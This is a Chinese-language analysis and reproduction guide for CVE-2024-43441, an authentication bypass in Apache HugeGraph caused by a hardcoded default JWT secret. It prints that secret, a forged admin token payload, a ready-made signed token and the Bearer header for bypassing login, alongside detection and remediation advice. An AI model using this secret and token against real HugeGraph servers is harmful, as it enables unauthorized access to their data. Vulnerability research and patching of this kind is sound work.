CVE-2024-43441 Apache HugeGraph 硬编码漏洞 复现
字数 1461 2025-08-23 18:31:24
Apache HugeGraph 硬编码漏洞(CVE-2024-43441)分析与复现指南
一、漏洞概述
1.1 漏洞基本信息
- 漏洞名称: Apache HugeGraph 硬编码漏洞
- 漏洞编号: CVE-2024-43441
- 漏洞类型: 越权漏洞
- 威胁等级: 高危
- 影响范围: 版本 >=1.0.0 且 <1.5.0
1.2 漏洞描述
Apache HugeGraph 存在JWT token密钥硬编码漏洞。当系统启用了认证但未配置auth.token_secret时,HugeGraph将使用硬编码的默认JWT密钥FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。攻击者可以利用此默认密钥生成有效的JWT token,从而绕过认证执行未经授权的操作。
二、环境搭建
2.1 使用Docker搭建靶场环境
docker pull hugegraph/hugegraph:1.3.0
docker run -itd --name=graph -e PASSWORD=123456 -p 8080:8080 hugegraph/hugegraph:1.3.0
2.2 启用身份验证
参考官方文档配置身份认证:
https://hugegraph.apache.org/docs/config/config-authentication/
关键点: 启用认证但不配置auth.token_secret参数时,系统将使用硬编码密钥。
三、漏洞复现步骤
3.1 验证正常访问
- 访问HugeGraph服务,抓包观察返回401认证错误
3.2 构造恶意JWT Token
- 使用默认密钥
FXQXbJtbCLxODc6tGci732pkH1cyf8Qg - 构造payload:
{
"user_name": "admin",
"user_id": "admin",
"exp": 1752753024
}
- 使用JWT工具生成Token,示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiJhZG1pbiIsImV4cCI6MTc1Mjc1MzAyNH0.rf8KY5UDjXlyAU1Lsaj0_rvZhxzWZRAbaHLPyH6GRto
3.3 发送恶意请求
在请求头中添加:
Authorization: Bearer [生成的JWT Token]
3.4 验证绕过结果
观察响应,若返回请求数据而非401错误,则证明漏洞利用成功。
四、漏洞分析
4.1 技术背景
Apache HugeGraph是一款开源图数据库系统,实现了Apache TinkerPop3框架,兼容Gremlin查询语言。
4.2 代码分析关键点
-
认证流程:
- 代码位于
org/apache/hugegraph/api/filter/AuthenticationFilter.java - 检查
Authorization头是否为Bearer类型 - 使用硬编码密钥验证JWT Token
- 代码位于
-
Token生成:
- 默认密钥硬编码在源码中
- 当
auth.token_secret未配置时使用默认值
-
认证绕过原理:
- 攻击者知晓默认密钥
- 可自行生成有效Token
- 系统无法区分合法与恶意Token
五、漏洞检测与修复
5.1 版本自查
检查HugeGraph版本是否为受影响范围(>=1.0.0且<1.5.0)
5.2 检测方法
- 尝试使用默认密钥生成JWT Token
- 发送带有该Token的请求
- 观察是否能够绕过认证
5.3 修复建议
- 升级版本: 升级到HugeGraph 1.5.0或更高版本
- 配置自定义密钥: 在
rest-server.properties中设置auth.token_secret为强随机值 - 启用IP白名单: 配置
white_ip_list限制访问来源
六、参考资源
- 官方修复提交: https://github.com/apache/incubator-hugegraph/commit/03b40a5
- 官方认证配置文档: https://hugegraph.apache.org/docs/config/config-authentication/
附录:默认JWT密钥
FXQXbJtbCLxODc6tGci732pkH1cyf8Qg
注意: 本文仅供安全研究使用,请勿用于非法用途。